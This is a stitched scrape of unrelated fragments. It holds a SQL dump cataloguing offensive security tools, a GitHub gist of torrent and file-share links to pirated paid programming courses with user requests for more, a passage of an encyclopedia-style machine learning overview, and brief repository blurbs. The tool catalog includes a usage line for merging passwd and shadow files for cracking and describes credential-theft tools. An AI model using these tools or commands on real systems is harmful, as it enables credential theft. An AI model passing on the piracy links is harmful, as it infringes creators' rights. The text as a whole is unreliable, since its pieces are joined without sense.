enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
GERSL / CCDCAlgorithm developed for Continuous Change Detection and Classification (CCDC) of land cover using all available Landsat data.
swati1024 / TorrentsSkip to content Search… All gists Back to GitHub Sign in Sign up Instantly share code, notes, and snippets. @giansalex giansalex/torrent-courses-download-list.md forked from M-Younus/torrent courses download-list Last active 2 days ago 15188 Code Revisions 15 Stars 151 Forks 88 <script src="https://gist.github.com/giansalex/4cd3631e94433bbbd71bf07aedb33a7b.js"></script> torrent-courses-download-list.md Torrent Courses List Download http://kickass.to/infiniteskills-learning-jquery-mobile-working-files-t7967156.html http://kickass.to/lynda-bootstrap-3-advanced-web-development-2013-eng-t8167587.html http://kickass.to/lynda-css-advanced-typographic-techniques-t7928210.html http://kickass.to/lynda-html5-projects-interactive-charts-2013-eng-t8167670.html http://kickass.to/vtc-html5-css3-responsive-web-design-course-t7922533.html http://kickass.to/10gen-m101js-mongodb-for-node-js-developers-2013-eng-t8165205.html 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http://www.seedpeer.me/details/6185755/TutsPlus---The-MVC-Mindser-Jeffery-Way---ICARUS.html http://www.seedpeer.me/details/5024493/TutsPlus---Venture-Into-Vim.html http://www.seedpeer.me/details/6286416/Tutsplus---Vim-for-Advanced-Users.html http://www.seedpeer.me/details/6585031/Tutsplus---WordPress-Hackers-Guide-to-the-Galaxy.html http://www.seedpeer.me/details/4848477/TutsPlus---Writing-Modular-JavaScript.html @giansalex Owner Author giansalex commented on 26 Feb 2018 • SOLID http://www.allitebooks.com/beginning-solid-principles-and-design-patterns-for-asp-net-developers/ @giansalex Owner Author giansalex commented on 7 Mar 2018 Udemy: AWS Arquitecto de Soluciones Certificado Asociado https://mega.co.nz/#!ZzhGWSAL!wuthFca0SdJBjmaP5lFX0QF6PeMsrdclKFXlZL1Rsi4 Pass: gratismas.org @giansalex Owner Author giansalex commented on 7 Mar 2018 Go lang Complete https://www.freetutorials.us/wp-content/uploads/2017/11/FreeTutorials.Us-Udemy-go-the-complete-developers-guide.torrent @GCPBigData GCPBigData commented on 15 Jul 2018 go books https://drive.google.com/open?id=1d6OsFAn8kpHCXtw0bcoYuyHqrAdGZva0 @freisrael freisrael commented on 14 Aug 2018 giansalex thanks for sharing. I am looking for learning phython with Joe Marini. It would be great if you post it. @FirstBoy1 FirstBoy1 commented on 25 May 2019 Can anyone provide this book "Getting started with Spring Framework: covers Spring 5" by " J Sharma (Author), Ashish Sarin ". Thanks in advance @okreka okreka commented on 31 May 2019 Can anyone provide "Windows Presentation Foundation Masterclass" course from Udemy. Thanks in advance @singhaltanvi singhaltanvi commented on 8 Aug 2019 can anyone provide 'sedimentology and petroleum geology' course from Udemy. Thanks in advance. @kumarsreenivas051 kumarsreenivas051 commented on 9 Sep 2019 Can anyone provide "Programming languages A,B and C" course from Coursera. Thanks in advance. @BrunoMoreno BrunoMoreno commented on 11 Sep 2019 The link for the torrents in piratebay, now is .org to the correct url. @sany2k8 sany2k8 commented on 24 Sep 2019 Can anyone add this The Complete Hands-On Course to Master Apache Airflow @pharaoh1 pharaoh1 commented on 30 Sep 2019 can you pls add this course to your list https://www.udemy.com/course/advanced-python3/ @SushantDhote936 SushantDhote936 commented on 1 Oct 2019 Can you add Plural Sight CISSP @allayGerald allayGerald commented on 1 Oct 2019 open directive for lynda courses: https://drive.google.com/drive/folders/1zQan1cq1ZnqXmueRF5IqKoOtpFxl6Y4G @ezekielskottarathil ezekielskottarathil commented on 3 Oct 2019 can anyone provide 'sedimentology and petroleum geology' course from Udemy. Thanks in advance. "wrong place boy" @pulkitd2699 pulkitd2699 commented on 8 Oct 2019 Does anyone has a link for 'Cyber security: Python and web applications' course? Thanks @mohanrajrc mohanrajrc commented on 19 Oct 2019 • Can anyone provide torrent file for Mastering React By Mosh Hamedani. Thanks https://codewithmosh.com/p/mastering-react @evilprince2009 evilprince2009 commented on 27 Oct 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 @nunusandio nunusandio commented on 30 Oct 2019 Can anyone post torrent file for ASP.NET Authentication: The Big Picture https://app.pluralsight.com/library/courses/aspdotnet-authentication-big-picture/table-of-contents @EslamElmadny EslamElmadny commented on 9 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? @Genius-K-SL Genius-K-SL commented on 14 Dec 2019 hay brother! do you have html5 game development with javascript course ? @Genius-K-SL Genius-K-SL commented on 14 Dec 2019 This link is not working brother! http://www.seedpeer.me/details/4657790/Lynda.com-Building-Facebook-Applications-with-HTML-and-JavaScript.html @smithtuka smithtuka commented on 20 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? @AbdOoSaed AbdOoSaed commented on 22 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff @EslamElmadny EslamElmadny commented on 23 Dec 2019 • Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj @jedi2610 jedi2610 commented on 27 Dec 2019 Can anyone provide me with Code with Mosh's Ultimate Java Mastery Series link? plis @InnocentZaib InnocentZaib commented on 31 Dec 2019 Please provide the link of codewithmosh The ultimate data structures and algorithms Bundle the link is given below. Please give me the torrnet file or link to download https://codewithmosh.com/p/data-structures-algorithms @edward-teixeira edward-teixeira commented on 1 Jan 2020 Please provide the link of codewithmosh The ultimate data structures and algorithms Bundle the link is given below. Please give me the torrnet file or link to download https://codewithmosh.com/p/data-structures-algorithms Yea i'm looking for it too @kaneyxx kaneyxx commented on 1 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj could you please share the part-1 & part-3? @edward-teixeira edward-teixeira commented on 2 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? @ravisharmaa ravisharmaa commented on 7 Jan Please add this . https://www.letsbuildthatapp.com/course/AppStore-JSON-APIs @WaleedAlrashed WaleedAlrashed commented on 13 Jan This one kindly. https://www.udemy.com/course/flutter-build-a-complex-android-and-ios-apps-using-firestore/ @Sopheakmorm Sopheakmorm commented on 19 Jan Anyone have this course: https://www.udemy.com/course/mcsa-web-application-practice-test70-480-70-483-70-486 @EslamElmadny EslamElmadny commented on 19 Jan Anyone have this course: https://www.udemy.com/course/mcsa-web-application-practice-test70-480-70-483-70-486 +1 @EslamElmadny EslamElmadny commented on 20 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses @mohanrajrc mohanrajrc commented on 22 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses Yes. Java mastery and Data Structures 1, 2, 3 are available in this site. free download. @shihab122 shihab122 commented on 22 Jan Please give me the torrnet file or link to download The Ultimate Design Patterns @EslamElmadny EslamElmadny commented on 22 Jan • Please give me the torrnet file or link to download The Ultimate Design Patterns Waiting for it also :D @K-wachira K-wachira commented on 23 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses Yes. Java mastery and Data Structures 1, 2, 3 are available in this site. free download. You are a saviour .. Altho i feel bad i cant really buy the course... its really good @msdyn95 msdyn95 commented 25 days ago • Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ @K-wachira K-wachira commented 23 days ago This one kindly. https://www.udemy.com/course/flutter-build-a-complex-android-and-ios-apps-using-firestore/ Hey did you find this one? @edward-teixeira edward-teixeira commented 22 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? @msdyn95 msdyn95 commented 21 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? unfortunately not. @edward-teixeira edward-teixeira commented 20 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? unfortunately not. Found it ! https://vminhsang.name.vn/category/it-courses/codewithmosh/ @ZainA14 ZainA14 commented 16 days ago • Can someone please link me to this mosh course for torrent or direct download link https://codewithmosh.com/p/the-ultimate-full-stack-net-developer-bundle @khushiigupta khushiigupta commented 9 days ago Can any one please provide me link for jenkins so that I can learn as al as possible to join this conversation on GitHub. Already have an account? Sign in to comment © 2020 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About
Aryia-Behroziuan / NeuronsAn ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
Cwuwhu / FCD GAN PytorchA pytorch project of the algorithm FCD-GAN. Fully Convolutional Change Detection Framework with Generative Adversarial Network (FCD-GAN) is a newly proposed framework for change detection in multi-temporal remote sensing images.
